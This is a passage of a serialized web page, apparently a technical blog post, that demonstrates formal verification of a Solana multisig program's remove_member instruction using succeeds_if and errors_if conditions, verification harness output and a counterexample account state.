type":25,"tag":271,"props":38931,"children":38932},{"style":13625},[38933],{"type":30,"value":33452},{"type":25,"tag":271,"props":38935,"children":38936},{"class":13593,"line":16823},[38937],{"type":25,"tag":271,"props":38938,"children":38939},{"style":14385},[38940],{"type":30,"value":38941},"    // if there is only one key in this multisig, reject the removal\n",{"type":25,"tag":271,"props":38943,"children":38944},{"class":13593,"line":16832},[38945,38949,38954,38958,38962,38966,38970,38974,38978,38982,38986,38990,38994,38998],{"type":25,"tag":271,"props":38946,"children":38947},{"style":16171},[38948],{"type":30,"value":25404},{"type":25,"tag":271,"props":38950,"children":38951},{"style":13598},[38952],{"type":30,"value":38953}," ctx",{"type":25,"tag":271,"props":38955,"children":38956},{"style":13603},[38957],{"type":30,"value":1860},{"type":25,"tag":271,"props":38959,"children":38960},{"style":13625},[38961],{"type":30,"value":27796},{"type":25,"tag":271,"props":38963,"children":38964},{"style":13603},[38965],{"type":30,"value":1860},{"type":25,"tag":271,"props":38967,"children":38968},{"style":13625},[38969],{"type":30,"value":36915},{"type":25,"tag":271,"props":38971,"children":38972},{"style":13603},[38973],{"type":30,"value":1860},{"type":25,"tag":271,"props":38975,"children":38976},{"style":13625},[38977],{"type":30,"value":34103},{"type":25,"tag":271,"props":38979,"children":38980},{"style":13603},[38981],{"type":30,"value":1860},{"type":25,"tag":271,"props":38983,"children":38984},{"style":13620},[38985],{"type":30,"value":22261},{"type":25,"tag":271,"props":38987,"children":38988},{"style":13625},[38989],{"type":30,"value":27164},{"type":25,"tag":271,"props":38991,"children":38992},{"style":13603},[38993],{"type":30,"value":21696},{"type":25,"tag":271,"props":38995,"children":38996},{"style":16187},[38997],{"type":30,"value":17654},{"type":25,"tag":271,"props":38999,"children":39000},{"style":13625},[39001],{"type":30,"value":16431},{"type":25,"tag":271,"props":39003,"children":39004},{"class":13593,"line":16841},[39005,39009,39013,39017,39021,39025,39030],{"type":25,"tag":271,"props":39006,"children":39007},{"style":16171},[39008],{"type":30,"value":28866},{"type":25,"tag":271,"props":39010,"children":39011},{"style":13620},[39012],{"type":30,"value":36618},{"type":25,"tag":271,"props":39014,"children":39015},{"style":13625},[39016],{"type":30,"value":394},{"type":25,"tag":271,"props":39018,"children":39019},{"style":13609},[39020],{"type":30,"value":36627},{"type":25,"tag":271,"props":39022,"children":39023},{"style":13603},[39024],{"type":30,"value":13617},{"type":25,"tag":271,"props":39026,"children":39027},{"style":13609},[39028],{"type":30,"value":39029},"CannotRemoveSoloMember",{"type":25,"tag":271,"props":39031,"children":39032},{"style":13625},[39033],{"type":30,"value":13665},{"type":25,"tag":271,"props":39035,"children":39036},{"class":13593,"line":16907},[39037],{"type":25,"tag":271,"props":39038,"children":39039},{"style":13625},[39040],{"type":30,"value":16501},{"type":25,"tag":271,"props":39042,"children":39043},{"class":13593,"line":16915},[39044,39048,39052,39056,39060,39064,39068,39072,39076,39080,39084,39088],{"type":25,"tag":271,"props":39045,"children":39046},{"style":13598},[39047],{"type":30,"value":33344},{"type":25,"tag":271,"props":39049,"children":39050},{"style":13603},[39051],{"type":30,"value":1860},{"type":25,"tag":271,"props":39053,"children":39054},{"style":13625},[39055],{"type":30,"value":27796},{"type":25,"tag":271,"props":39057,"children":39058},{"style":13603},[39059],{"type":30,"value":1860},{"type":25,"tag":271,"props":39061,"children":39062},{"style":13625},[39063],{"type":30,"value":36915},{"type":25,"tag":271,"props":39065,"children":39066},{"style":13603},[39067],{"type":30,"value":1860},{"type":25,"tag":271,"props":39069,"children":39070},{"style":13620},[39071],{"type":30,"value":38576},{"type":25,"tag":271,"props":39073,"children":39074},{"style":13625},[39075],{"type":30,"value":394},{"type":25,"tag":271,"props":39077,"children":39078},{"style":13598},[39079],{"type":30,"value":38909},{"type":25,"tag":271,"props":39081,"children":39082},{"style":13625},[39083],{"type":30,"value":440},{"type":25,"tag":271,"props":39085,"children":39086},{"style":13603},[39087],{"type":30,"value":5632},{"type":25,"tag":271,"props":39089,"children":39090},{"style":13625},[39091],{"type":30,"value":16165},{"type":25,"tag":271,"props":39093,"children":39094},{"class":13593,"line":16945},[39095],{"type":25,"tag":271,"props":39096,"children":39097},{"emptyLinePlaceholder":18},[39098],{"type":30,"value":16829},{"type":25,"tag":271,"props":39100,"children":39101},{"class":13593,"line":16953},[39102],{"type":25,"tag":271,"props":39103,"children":39104},{"style":14385},[39105],{"type":30,"value":39106},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":25,"tag":271,"props":39108,"children":39109},{"class":13593,"line":16984},[39110,39114,39118,39122,39126,39130,39134,39138,39142,39146,39150,39155,39159,39163,39167,39171,39175,39179,39183,39187,39191,39195],{"type":25,"tag":271,"props":39111,"children":39112},{"style":16171},[39113],{"type":30,"value":25404},{"type":25,"tag":271,"props":39115,"children":39116},{"style":13598},[39117],{"type":30,"value":38953},{"type":25,"tag":271,"props":39119,"children":39120},{"style":13603},[39121],{"type":30,"value":1860},{"type":25,"tag":271,"props":39123,"children":39124},{"style":13625},[39125],{"type":30,"value":27796},{"type":25,"tag":271,"props":39127,"children":39128},{"style":13603},[39129],{"type":30,"value":1860},{"type":25,"tag":271,"props":39131,"children":39132},{"style":13625},[39133],{"type":30,"value":36915},{"type":25,"tag":271,"props":39135,"children":39136},{"style":13603},[39137],{"type":30,"value":1860},{"type":25,"tag":271,"props":39139,"children":39140},{"style":13625},[39141],{"type":30,"value":34103},{"type":25,"tag":271,"props":39143,"children":39144},{"style":13603},[39145],{"type":30,"value":1860},{"type":25,"tag":271,"props":39147,"children":39148},{"style":13620},[39149],{"type":30,"value":22261},{"type":25,"tag":271,"props":39151,"children":39152},{"style":13625},[39153],{"type":30,"value":39154},"() \u003C ",{"type":25,"tag":271,"props":39156,"children":39157},{"style":13609},[39158],{"type":30,"value":29724},{"type":25,"tag":271,"props":39160,"children":39161},{"style":13603},[39162],{"type":30,"value":13617},{"type":25,"tag":271,"props":39164,"children":39165},{"style":13620},[39166],{"type":30,"value":32594},{"type":25,"tag":271,"props":39168,"children":39169},{"style":13625},[39170],{"type":30,"value":394},{"type":25,"tag":271,"props":39172,"children":39173},{"style":13598},[39174],{"type":30,"value":33401},{"type":25,"tag":271,"props":39176,"children":39177},{"style":13603},[39178],{"type":30,"value":1860},{"type":25,"tag":271,"props":39180,"children":39181},{"style":13625},[39182],{"type":30,"value":27796},{"type":25,"tag":271,"props":39184,"children":39185},{"style":13603},[39186],{"type":30,"value":1860},{"type":25,"tag":271,"props":39188,"children":39189},{"style":13625},[39190],{"type":30,"value":36915},{"type":25,"tag":271,"props":39192,"children":39193},{"style":13603},[39194],{"type":30,"value":1860},{"type":25,"tag":271,"props":39196,"children":39197},{"style":13625},[39198],{"type":30,"value":39199},"threshold) {\n",{"type":25,"tag":271,"props":39201,"children":39202},{"class":13593,"line":16992},[39203,39207,39212,39216,39220,39224,39228,39232,39236,39240,39244,39248,39252,39256,39260,39264,39268,39273,39277,39281,39285],{"type":25,"tag":271,"props":39204,"children":39205},{"style":14289},[39206],{"type":30,"value":16208},{"type":25,"tag":271,"props":39208,"children":39209},{"style":13598},[39210],{"type":30,"value":39211}," new_threshold",{"type":25,"tag":271,"props":39213,"children":39214},{"style":13603},[39215],{"type":30,"value":359},{"type":25,"tag":271,"props":39217,"children":39218},{"style":13609},[39219],{"type":30,"value":34150},{"type":25,"tag":271,"props":39221,"children":39222},{"style":13603},[39223],{"type":30,"value":16155},{"type":25,"tag":271,"props":39225,"children":39226},{"style":13598},[39227],{"type":30,"value":38953},{"type":25,"tag":271,"props":39229,"children":39230},{"style":13603},[39231],{"type":30,"value":1860},{"type":25,"tag":271,"props":39233,"children":39234},{"style":13625},[39235],{"type":30,"value":27796},{"type":25,"tag":271,"props":39237,"children":39238},{"style":13603},[39239],{"type":30,"value":1860},{"type":25,"tag":271,"props":39241,"children":39242},{"style":13625},[39243],{"type":30,"value":36915},{"type":25,"tag":271,"props":39245,"children":39246},{"style":13603},[39247],{"type":30,"value":1860},{"type":25,"tag":271,"props":39249,"children":39250},{"style":13625},[39251],{"type":30,"value":34103},{"type":25,"tag":271,"props":39253,"children":39254},{"style":13603},[39255],{"type":30,"value":1860},{"type":25,"tag":271,"props":39257,"children":39258},{"style":13620},[39259],{"type":30,"value":22261},{"type":25,"tag":271,"props":39261,"children":39262},{"style":13625},[39263],{"type":30,"value":27000},{"type":25,"tag":271,"props":39265,"children":39266},{"style":13603},[39267],{"type":30,"value":1860},{"type":25,"tag":271,"props":39269,"children":39270},{"style":13620},[39271],{"type":30,"value":39272},"try_into",{"type":25,"tag":271,"props":39274,"children":39275},{"style":13625},[39276],{"type":30,"value":27000},{"type":25,"tag":271,"props":39278,"children":39279},{"style":13603},[39280],{"type":30,"value":1860},{"type":25,"tag":271,"props":39282,"children":39283},{"style":13620},[39284],{"type":30,"value":16815},{"type":25,"tag":271,"props":39286,"children":39287},{"style":13625},[39288],{"type":30,"value":16820},{"type":25,"tag":271,"props":39290,"children":39291},{"class":13593,"line":17052},[39292,39297,39301,39305,39309,39313,39317,39322,39326,39331,39335,39339],{"type":25,"tag":271,"props":39293,"children":39294},{"style":13598},[39295],{"type":30,"value":39296},"        ctx",{"type":25,"tag":271,"props":39298,"children":39299},{"style":13603},[39300],{"type":30,"value":1860},{"type":25,"tag":271,"props":39302,"children":39303},{"style":13625},[39304],{"type":30,"value":27796},{"type":25,"tag":271,"props":39306,"children":39307},{"style":13603},[39308],{"type":30,"value":1860},{"type":25,"tag":271,"props":39310,"children":39311},{"style":13625},[39312],{"type":30,"value":36915},{"type":25,"tag":271,"props":39314,"children":39315},{"style":13603},[39316],{"type":30,"value":1860},{"type":25,"tag":271,"props":39318,"children":39319},{"style":13620},[39320],{"type":30,"value":39321},"change_threshold",{"type":25,"tag":271,"props":39323,"children":39324},{"style":13625},[39325],{"type":30,"value":394},{"type":25,"tag":271,"props":39327,"children":39328},{"style":13598},[39329],{"type":30,"value":39330},"new_threshold",{"type":25,"tag":271,"props":39332,"children":39333},{"style":13625},[39334],{"type":30,"value":440},{"type":25,"tag":271,"props":39336,"children":39337},{"style":13603},[39338],{"type":30,"value":5632},{"type":25,"tag":271,"props":39340,"children":39341},{"style":13625},[39342],{"type":30,"value":16165},{"type":25,"tag":271,"props":39344,"children":39345},{"class":13593,"line":22168},[39346],{"type":25,"tag":271,"props":39347,"children":39348},{"style":13625},[39349],{"type":30,"value":16501},{"type":25,"tag":271,"props":39351,"children":39352},{"class":13593,"line":22186},[39353,39357,39362,39366,39370,39374,39378,39382,39386,39390],{"type":25,"tag":271,"props":39354,"children":39355},{"style":14289},[39356],{"type":30,"value":16140},{"type":25,"tag":271,"props":39358,"children":39359},{"style":13598},[39360],{"type":30,"value":39361}," new_index",{"type":25,"tag":271,"props":39363,"children":39364},{"style":13603},[39365],{"type":30,"value":16155},{"type":25,"tag":271,"props":39367,"children":39368},{"style":13598},[39369],{"type":30,"value":38953},{"type":25,"tag":271,"props":39371,"children":39372},{"style":13603},[39373],{"type":30,"value":1860},{"type":25,"tag":271,"props":39375,"children":39376},{"style":13625},[39377],{"type":30,"value":27796},{"type":25,"tag":271,"props":39379,"children":39380},{"style":13603},[39381],{"type":30,"value":1860},{"type":25,"tag":271,"props":39383,"children":39384},{"style":13625},[39385],{"type":30,"value":36915},{"type":25,"tag":271,"props":39387,"children":39388},{"style":13603},[39389],{"type":30,"value":1860},{"type":25,"tag":271,"props":39391,"children":39392},{"style":13625},[39393],{"type":30,"value":39394},"transaction_index;\n",{"type":25,"tag":271,"props":39396,"children":39397},{"class":13593,"line":22231},[39398,39402,39406,39410,39414,39418,39422,39427,39431,39436],{"type":25,"tag":271,"props":39399,"children":39400},{"style":13598},[39401],{"type":30,"value":33344},{"type":25,"tag":271,"props":39403,"children":39404},{"style":13603},[39405],{"type":30,"value":1860},{"type":25,"tag":271,"props":39407,"children":39408},{"style":13625},[39409],{"type":30,"value":27796},{"type":25,"tag":271,"props":39411,"children":39412},{"style":13603},[39413],{"type":30,"value":1860},{"type":25,"tag":271,"props":39415,"children":39416},{"style":13625},[39417],{"type":30,"value":36915},{"type":25,"tag":271,"props":39419,"children":39420},{"style":13603},[39421],{"type":30,"value":1860},{"type":25,"tag":271,"props":39423,"children":39424},{"style":13620},[39425],{"type":30,"value":39426},"set_change_index",{"type":25,"tag":271,"props":39428,"children":39429},{"style":13625},[39430],{"type":30,"value":394},{"type":25,"tag":271,"props":39432,"children":39433},{"style":13598},[39434],{"type":30,"value":39435},"new_index",{"type":25,"tag":271,"props":39437,"children":39438},{"style":13625},[39439],{"type":30,"value":16299},{"type":25,"tag":271,"props":39441,"children":39442},{"class":13593,"line":22337},[39443],{"type":25,"tag":271,"props":39444,"children":39445},{"style":13625},[39446],{"type":30,"value":17058},{"type":25,"tag":26,"props":39448,"children":39449},{},[39450,39452,39457],{"type":30,"value":39451},"First let's establish the ",{"type":25,"tag":264,"props":39453,"children":39455},{"className":39454},[],[39456],{"type":30,"value":33275},{"type":30,"value":39458}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":25,"tag":7764,"props":39460,"children":39462},{"code":39461,"language":13585,"meta":7,"className":13586,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[39463],{"type":25,"tag":264,"props":39464,"children":39465},{"__ignoreMap":7},[39466,39473,39520,39527],{"type":25,"tag":271,"props":39467,"children":39468},{"class":13593,"line":13594},[39469],{"type":25,"tag":271,"props":39470,"children":39471},{"style":13625},[39472],{"type":30,"value":37221},{"type":25,"tag":271,"props":39474,"children":39475},{"class":13593,"line":11641},[39476,39480,39484,39488,39492,39496,39500,39504,39508,39512,39516],{"type":25,"tag":271,"props":39477,"children":39478},{"style":13625},[39479],{"type":30,"value":33344},{"type":25,"tag":271,"props":39481,"children":39482},{"style":13603},[39483],{"type":30,"value":1860},{"type":25,"tag":271,"props":39485,"children":39486},{"style":13625},[39487],{"type":30,"value":27796},{"type":25,"tag":271,"props":39489,"children":39490},{"style":13603},[39491],{"type":30,"value":1860},{"type":25,"tag":271,"props":39493,"children":39494},{"style":13625},[39495],{"type":30,"value":36915},{"type":25,"tag":271,"props":39497,"children":39498},{"style":13603},[39499],{"type":30,"value":1860},{"type":25,"tag":271,"props":39501,"children":39502},{"style":13625},[39503],{"type":30,"value":34103},{"type":25,"tag":271,"props":39505,"children":39506},{"style":13603},[39507],{"type":30,"value":1860},{"type":25,"tag":271,"props":39509,"children":39510},{"style":13625},[39511],{"type":30,"value":34141},{"type":25,"tag":271,"props":39513,"children":39514},{"style":13603},[39515],{"type":30,"value":23586},{"type":25,"tag":271,"props":39517,"children":39518},{"style":13625},[39519],{"type":30,"value":32563},{"type":25,"tag":271,"props":39521,"children":39522},{"class":13593,"line":14354},[39523],{"type":25,"tag":271,"props":39524,"children":39525},{"style":13625},[39526],{"type":30,"value":33379},{"type":25,"tag":271,"props":39528,"children":39529},{"class":13593,"line":14391},[39530,39534,39538,39542,39546,39550,39554],{"type":25,"tag":271,"props":39531,"children":39532},{"style":14289},[39533],{"type":30,"value":33387},{"type":25,"tag":271,"props":39535,"children":39536},{"style":13620},[39537],{"type":30,"value":38875},{"type":25,"tag":271,"props":39539,"children":39540},{"style":13625},[39541],{"type":30,"value":394},{"type":25,"tag":271,"props":39543,"children":39544},{"style":13603},[39545],{"type":30,"value":22714},{"type":25,"tag":271,"props":39547,"children":39548},{"style":13625},[39549],{"type":30,"value":37098},{"type":25,"tag":271,"props":39551,"children":39552},{"style":13603},[39553],{"type":30,"value":22714},{"type":25,"tag":271,"props":39555,"children":39556},{"style":13625},[39557],{"type":30,"value":22719},{"type":25,"tag":26,"props":39559,"children":39560},{},[39561,39563,39568],{"type":30,"value":39562},"And for now let's remove the invariant on the ",{"type":25,"tag":264,"props":39564,"children":39566},{"className":39565},[],[39567],{"type":30,"value":35841},{"type":30,"value":39569}," account:",{"type":25,"tag":7764,"props":39571,"children":39573},{"code":39572,"language":13585,"meta":7,"className":13586,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[39574],{"type":25,"tag":264,"props":39575,"children":39576},{"__ignoreMap":7},[39577,39585],{"type":25,"tag":271,"props":39578,"children":39579},{"class":13593,"line":13594},[39580],{"type":25,"tag":271,"props":39581,"children":39582},{"style":13625},[39583],{"type":30,"value":39584},"#[invariant()]\n",{"type":25,"tag":271,"props":39586,"children":39587},{"class":13593,"line":11641},[39588,39592,39596,39600,39604,39608],{"type":25,"tag":271,"props":39589,"children":39590},{"style":14289},[39591],{"type":30,"value":14292},{"type":25,"tag":271,"props":39593,"children":39594},{"style":14289},[39595],{"type":30,"value":34271},{"type":25,"tag":271,"props":39597,"children":39598},{"style":13609},[39599],{"type":30,"value":34276},{"type":25,"tag":271,"props":39601,"children":39602},{"style":13625},[39603],{"type":30,"value":22709},{"type":25,"tag":271,"props":39605,"children":39606},{"style":13603},[39607],{"type":30,"value":22714},{"type":25,"tag":271,"props":39609,"children":39610},{"style":13625},[39611],{"type":30,"value":22719},{"type":25,"tag":26,"props":39613,"children":39614},{},[39615],{"type":30,"value":39616},"Let's test this!",{"type":25,"tag":26,"props":39618,"children":39619},{},[39620,39622,39627],{"type":30,"value":39621},"Our ",{"type":25,"tag":264,"props":39623,"children":39625},{"className":39624},[],[39626],{"type":30,"value":33275},{"type":30,"value":39628}," harness produces:",{"type":25,"tag":7764,"props":39630,"children":39632},{"code":39631},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[39633],{"type":25,"tag":264,"props":39634,"children":39635},{"__ignoreMap":7},[39636],{"type":30,"value":39631},{"type":25,"tag":26,"props":39638,"children":39639},{},[39640],{"type":30,"value":39641},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":25,"tag":26,"props":39643,"children":39644},{},[39645,39647,39652],{"type":30,"value":39646},"However, remember that since ",{"type":25,"tag":264,"props":39648,"children":39650},{"className":39649},[],[39651],{"type":30,"value":33275},{"type":30,"value":39653}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":25,"tag":26,"props":39655,"children":39656},{},[39657,39659,39664,39666,39671,39673,39678],{"type":30,"value":39658},"Suppose we want to be sure that this condition is the ",{"type":25,"tag":10281,"props":39660,"children":39661},{},[39662],{"type":30,"value":39663},"only condition",{"type":30,"value":39665}," in which the function will succeed (i.e. ",{"type":25,"tag":10281,"props":39667,"children":39668},{},[39669],{"type":30,"value":39670},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":30,"value":39672},"). We could attempt to verify the other side of this with an ",{"type":25,"tag":264,"props":39674,"children":39676},{"className":39675},[],[39677],{"type":30,"value":33282},{"type":30,"value":39679}," macro such as:",{"type":25,"tag":7764,"props":39681,"children":39683},{"code":39682,"language":13585,"meta":7,"className":13586,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[39684],{"type":25,"tag":264,"props":39685,"children":39686},{"__ignoreMap":7},[39687,39694,39741,39748,39755,39802,39809],{"type":25,"tag":271,"props":39688,"children":39689},{"class":13593,"line":13594},[39690],{"type":25,"tag":271,"props":39691,"children":39692},{"style":13625},[39693],{"type":30,"value":37221},{"type":25,"tag":271,"props":39695,"children":39696},{"class":13593,"line":11641},[39697,39701,39705,39709,39713,39717,39721,39725,39729,39733,39737],{"type":25,"tag":271,"props":39698,"children":39699},{"style":13625},[39700],{"type":30,"value":33344},{"type":25,"tag":271,"props":39702,"children":39703},{"style":13603},[39704],{"type":30,"value":1860},{"type":25,"tag":271,"props":39706,"children":39707},{"style":13625},[39708],{"type":30,"value":27796},{"type":25,"tag":271,"props":39710,"children":39711},{"style":13603},[39712],{"type":30,"value":1860},{"type":25,"tag":271,"props":39714,"children":39715},{"style":13625},[39716],{"type":30,"value":36915},{"type":25,"tag":271,"props":39718,"children":39719},{"style":13603},[39720],{"type":30,"value":1860},{"type":25,"tag":271,"props":39722,"children":39723},{"style":13625},[39724],{"type":30,"value":34103},{"type":25,"tag":271,"props":39726,"children":39727},{"style":13603},[39728],{"type":30,"value":1860},{"type":25,"tag":271,"props":39730,"children":39731},{"style":13625},[39732],{"type":30,"value":34141},{"type":25,"tag":271,"props":39734,"children":39735},{"style":13603},[39736],{"type":30,"value":23586},{"type":25,"tag":271,"props":39738,"children":39739},{"style":13625},[39740],{"type":30,"value":32563},{"type":25,"tag":271,"props":39742,"children":39743},{"class":13593,"line":14354},[39744],{"type":25,"tag":271,"props":39745,"children":39746},{"style":13625},[39747],{"type":30,"value":33379},{"type":25,"tag":271,"props":39749,"children":39750},{"class":13593,"line":14391},[39751],{"type":25,"tag":271,"props":39752,"children":39753},{"style":13625},[39754],{"type":30,"value":33336},{"type":25,"tag":271,"props":39756,"children":39757},{"class":13593,"line":14400},[39758,39762,39766,39770,39774,39778,39782,39786,39790,39794,39798],{"type":25,"tag":271,"props":39759,"children":39760},{"style":13625},[39761],{"type":30,"value":33344},{"type":25,"tag":271,"props":39763,"children":39764},{"style":13603},[39765],{"type":30,"value":1860},{"type":25,"tag":271,"props":39767,"children":39768},{"style":13625},[39769],{"type":30,"value":27796},{"type":25,"tag":271,"props":39771,"children":39772},{"style":13603},[39773],{"type":30,"value":1860},{"type":25,"tag":271,"props":39775,"children":39776},{"style":13625},[39777],{"type":30,"value":36915},{"type":25,"tag":271,"props":39779,"children":39780},{"style":13603},[39781],{"type":30,"value":1860},{"type":25,"tag":271,"props":39783,"children":39784},{"style":13625},[39785],{"type":30,"value":34103},{"type":25,"tag":271,"props":39787,"children":39788},{"style":13603},[39789],{"type":30,"value":1860},{"type":25,"tag":271,"props":39791,"children":39792},{"style":13625},[39793],{"type":30,"value":34141},{"type":25,"tag":271,"props":39795,"children":39796},{"style":13603},[39797],{"type":30,"value":32535},{"type":25,"tag":271,"props":39799,"children":39800},{"style":13625},[39801],{"type":30,"value":32563},{"type":25,"tag":271,"props":39803,"children":39804},{"class":13593,"line":16406},[39805],{"type":25,"tag":271,"props":39806,"children":39807},{"style":13625},[39808],{"type":30,"value":33379},{"type":25,"tag":271,"props":39810,"children":39811},{"class":13593,"line":16434},[39812,39816,39820,39824,39828,39832,39836],{"type":25,"tag":271,"props":39813,"children":39814},{"style":14289},[39815],{"type":30,"value":33387},{"type":25,"tag":271,"props":39817,"children":39818},{"style":13620},[39819],{"type":30,"value":38875},{"type":25,"tag":271,"props":39821,"children":39822},{"style":13625},[39823],{"type":30,"value":394},{"type":25,"tag":271,"props":39825,"children":39826},{"style":13603},[39827],{"type":30,"value":22714},{"type":25,"tag":271,"props":39829,"children":39830},{"style":13625},[39831],{"type":30,"value":37098},{"type":25,"tag":271,"props":39833,"children":39834},{"style":13603},[39835],{"type":30,"value":22714},{"type":25,"tag":271,"props":39837,"children":39838},{"style":13625},[39839],{"type":30,"value":22719},{"type":25,"tag":26,"props":39841,"children":39842},{},[39843,39845,39850],{"type":30,"value":39844},"Let's test this, we just need to run the new ",{"type":25,"tag":264,"props":39846,"children":39848},{"className":39847},[],[39849],{"type":30,"value":33282},{"type":30,"value":39851}," harness:",{"type":25,"tag":7764,"props":39853,"children":39855},{"code":39854},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[39856],{"type":25,"tag":264,"props":39857,"children":39858},{"__ignoreMap":7},[39859],{"type":30,"value":39854},{"type":25,"tag":26,"props":39861,"children":39862},{},[39863],{"type":30,"value":39864},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":25,"tag":7764,"props":39866,"children":39868},{"code":39867,"language":13585,"meta":7,"className":13586,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[39869],{"type":25,"tag":264,"props":39870,"children":39871},{"__ignoreMap":7},[39872,39883,39902,39921,39940,39959,39978,39997,40016,40035,40054,40074,40093,40100,40107,40134],{"type":25,"tag":271,"props":39873,"children":39874},{"class":13593,"line":13594},[39875,39879],{"type":25,"tag":271,"props":39876,"children":39877},{"style":13609},[39878],{"type":30,"value":30268},{"type":25,"tag":271,"props":39880,"children":39881},{"style":13625},[39882],{"type":30,"value":16431},{"type":25,"tag":271,"props":39884,"children":39885},{"class":13593,"line":11641},[39886,39890,39894,39898],{"type":25,"tag":271,"props":39887,"children":39888},{"style":13598},[39889],{"type":30,"value":38281},{"type":25,"tag":271,"props":39891,"children":39892},{"style":13603},[39893],{"type":30,"value":359},{"type":25,"tag":271,"props":39895,"children":39896},{"style":13609},[39897],{"type":30,"value":34276},{"type":25,"tag":271,"props":39899,"children":39900},{"style":13625},[39901],{"type":30,"value":16431},{"type":25,"tag":271,"props":39903,"children":39904},{"class":13593,"line":14354},[39905,39909,39913,39917],{"type":25,"tag":271,"props":39906,"children":39907},{"style":13598},[39908],{"type":30,"value":36936},{"type":25,"tag":271,"props":39910,"children":39911},{"style":13603},[39912],{"type":30,"value":359},{"type":25,"tag":271,"props":39914,"children":39915},{"style":16187},[39916],{"type":30,"value":16190},{"type":25,"tag":271,"props":39918,"children":39919},{"style":13625},[39920],{"type":30,"value":14351},{"type":25,"tag":271,"props":39922,"children":39923},{"class":13593,"line":14391},[39924,39928,39932,39936],{"type":25,"tag":271,"props":39925,"children":39926},{"style":13598},[39927],{"type":30,"value":38321},{"type":25,"tag":271,"props":39929,"children":39930},{"style":13603},[39931],{"type":30,"value":359},{"type":25,"tag":271,"props":39933,"children":39934},{"style":16187},[39935],{"type":30,"value":16190},{"type":25,"tag":271,"props":39937,"children":39938},{"style":13625},[39939],{"type":30,"value":14351},{"type":25,"tag":271,"props":39941,"children":39942},{"class":13593,"line":14400},[39943,39947,39951,39955],{"type":25,"tag":271,"props":39944,"children":39945},{"style":13598},[39946],{"type":30,"value":38341},{"type":25,"tag":271,"props":39948,"children":39949},{"style":13603},[39950],{"type":30,"value":359},{"type":25,"tag":271,"props":39952,"children":39953},{"style":16187},[39954],{"type":30,"value":16190},{"type":25,"tag":271,"props":39956,"children":39957},{"style":13625},[39958],{"type":30,"value":14351},{"type":25,"tag":271,"props":39960,"children":39961},{"class":13593,"line":16406},[39962,39966,39970,39974],{"type":25,"tag":271,"props":39963,"children":39964},{"style":13598},[39965],{"type":30,"value":38361},{"type":25,"tag":271,"props":39967,"children":39968},{"style":13603},[39969],{"type":30,"value":359},{"type":25,"tag":271,"props":39971,"children":39972},{"style":16187},[39973],{"type":30,"value":16190},{"type":25,"tag":271,"props":39975,"children":39976},{"style":13625},[39977],{"type":30,"value":14351},{"type":25,"tag":271,"props":39979,"children":39980},{"class":13593,"line":16434},[39981,39985,39989,39993],{"type":25,"tag":271,"props":39982,"children":39983},{"style":13598},[39984],{"type":30,"value":38381},{"type":25,"tag":271,"props":39986,"children":39987},{"style":13603},[39988],{"type":30,"value":359},{"type":25,"tag":271,"props":39990,"children":39991},{"style":16187},[39992],{"type":30,"value":16190},{"type":25,"tag":271,"props":39994,"children":39995},{"style":13625},[39996],{"type":30,"value":14351},{"type":25,"tag":271,"props":39998,"children":39999},{"class":13593,"line":16447},[40000,40004,40008,40012],{"type":25,"tag":271,"props":40001,"children":40002},{"style":13598},[40003],{"type":30,"value":36949},{"type":25,"tag":271,"props":40005,"children":40006},{"style":13603},[40007],{"type":30,"value":359},{"type":25,"tag":271,"props":40009,"children":40010},{"style":13603},[40011],{"type":30,"value":38409},{"type":25,"tag":271,"props":40013,"children":40014},{"style":13625},[40015],{"type":30,"value":14351},{"type":25,"tag":271,"props":40017,"children":40018},{"class":13593,"line":16465},[40019,40023,40027,40031],{"type":25,"tag":271,"props":40020,"children":40021},{"style":13598},[40022],{"type":30,"value":38421},{"type":25,"tag":271,"props":40024,"children":40025},{"style":13603},[40026],{"type":30,"value":359},{"type":25,"tag":271,"props":40028,"children":40029},{"style":14289},[40030],{"type":30,"value":22179},{"type":25,"tag":271,"props":40032,"children":40033},{"style":13625},[40034],{"type":30,"value":14351},{"type":25,"tag":271,"props":40036,"children":40037},{"class":13593,"line":16486},[40038,40042,40046,40050],{"type":25,"tag":271,"props":40039,"children":40040},{"style":13598},[40041],{"type":30,"value":38441},{"type":25,"tag":271,"props":40043,"children":40044},{"style":13603},[40045],{"type":30,"value":359},{"type":25,"tag":271,"props":40047,"children":40048},{"style":13609},[40049],{"type":30,"value":34509},{"type":25,"tag":271,"props":40051,"children":40052},{"style":13625},[40053],{"type":30,"value":16431},{"type":25,"tag":271,"props":40055,"children":40056},{"class":13593,"line":16495},[40057,40062,40066,40070],{"type":25,"tag":271,"props":40058,"children":40059},{"style":13598},[40060],{"type":30,"value":40061},"            